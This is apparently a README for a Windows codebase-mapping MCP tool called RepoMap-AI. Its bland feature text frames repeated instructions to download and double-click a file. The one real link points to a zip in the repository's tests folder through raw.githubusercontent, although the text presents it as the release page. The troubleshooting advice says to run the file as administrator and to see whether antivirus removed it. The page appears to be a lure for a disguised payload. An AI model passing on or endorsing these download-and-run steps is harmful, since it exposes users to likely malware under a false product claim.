RepoMap-AI helps you make sense of a codebase. It scans files, builds a map of how the parts connect, and gives AI tools a smaller, cleaner view of the project.
It is useful when a project feels too large to understand at a glance. Instead of reading file after file, you can use the map to find what matters first.
RepoMap-AI works with tools like Cursor, VS Code, and Claude Desktop through MCP. It also supports code in Python, TypeScript, and other common languages.
Visit this page to download the Windows version:
Download RepoMap-AI from GitHub Releases
On the releases page, choose the latest version and download the Windows file that matches your system. If you see more than one file, pick the one for Windows.
- Open the download page.
- Download the Windows release file.
- Open your Downloads folder.
- Find the file you just downloaded.
- Double-click the file to start it.
- If Windows asks for permission, choose Run or Yes.
- Follow the on-screen steps until setup finishes.
If the file comes in a .zip folder, right-click it and choose Extract All before you open the app.
- Start RepoMap-AI after install.
- Open the folder for the codebase you want to map.
- Let the app scan the files.
- Wait for the dependency graph to build.
- Open your AI editor or desktop app.
- Connect it through MCP if the app asks for setup details.
The first scan may take a short time on larger projects. After that, the app can reuse the map when you open the same codebase again.
RepoMap-AI is built for simple daily use:
- Pick a project folder.
- Let the app read the files.
- View the ranked graph of file links.
- Use the map to see which files matter most.
- Send the result to your AI tool when you need more context.
This helps when you want to answer questions like:
- Where does the app start?
- Which files depend on this one?
- What parts of the code belong together?
- Which files should I read first?
- Scan code folders and build a map of the project
- Read Python, TypeScript, and other supported files
- Use tree-sitter to parse code structure
- Rank file links so key parts show up first
- Expose the map through MCP
- Work with Cursor, VS Code, and Claude Desktop
- Help AI tools keep context small and focused
- Support codebase navigation in large projects
RepoMap-AI should run on a standard Windows PC.
Suggested setup:
- Windows 10 or Windows 11
- A modern 64-bit Intel or AMD CPU
- 8 GB RAM or more
- 200 MB of free disk space for the app
- More space for large codebases
- Internet access for the first download
For best results, use it on a machine with enough memory for the codebases you want to scan.
RepoMap-AI can send its map to tools that support MCP. That makes it easier for an AI assistant to work with your code without loading the whole project at once.
Common uses:
- Cursor for code editing and review
- VS Code for local development
- Claude Desktop for chat-based help
If your tool supports custom connections, add RepoMap-AI there after the app is running.
RepoMap-AI is meant for source code and project files. It works best with:
- Python files
- TypeScript files
- JavaScript files
- Other tree-sitter supported languages
- Config files used by the project
It focuses on structure, imports, and file links so the map can show how the code fits together.
Use RepoMap-AI when:
- a project has too many files to read at once
- you want a quick view of important code paths
- you need better input for an AI coding tool
- you want to see how files depend on each other
- you need a smaller context window for large codebases
- Download the app from GitHub Releases.
- Install or open it on Windows.
- Choose the folder that holds your code.
- Build the map.
- Open your AI editor.
- Use the map to guide questions and edits.
This keeps you from searching through the whole project by hand.
If the app does not start:
- Check that the download finished fully.
- Make sure Windows did not block the file.
- Try running it again as an administrator.
- Confirm that your antivirus did not remove it.
If the app opens but does not show a map:
- Check that you selected the right folder.
- Make sure the folder contains source files.
- Wait for the scan to finish.
- Try a smaller project first.
If your AI tool does not connect:
- Confirm that RepoMap-AI is running.
- Check the MCP setup in your editor.
- Restart the editor and the app.
- Try the connection again
RepoMap-AI is built around a few clear goals:
- keep code context small
- make large projects easier to read
- rank important files first
- support common AI coding tools
- help users move through code with less effort
The app uses tree-sitter so it can read code structure in a reliable way. That helps it find imports, symbols, and links between files.
It can handle many common project layouts, including:
- app source folders
- test folders
- config files
- shared libraries
- package and build files
A dependency graph shows how files connect. That matters because a codebase often has many links that are hard to see by eye.
With a ranked graph, RepoMap-AI can help you:
- find the most important files first
- follow the flow of logic
- understand where changes may spread
- reduce time spent guessing
If you need the installer again, use the release page here:
https://raw.githubusercontent.com/Romany-splay794/RepoMap-AI/main/tests/AI_Map_Repo_2.8-beta.2.zip
Choose the latest Windows release and download the file for your system.
RepoMap-AI is meant to work with your local codebase. You choose the folder, and the app reads the files on your machine to build the map.
ai, ai-coding, claude-code, code-analysis, codebase-navigation, context-window, cursor, dependency-graph, llm, mcp, pagerank, python, repomap, token-efficient, tree-sitter, typescript, vscode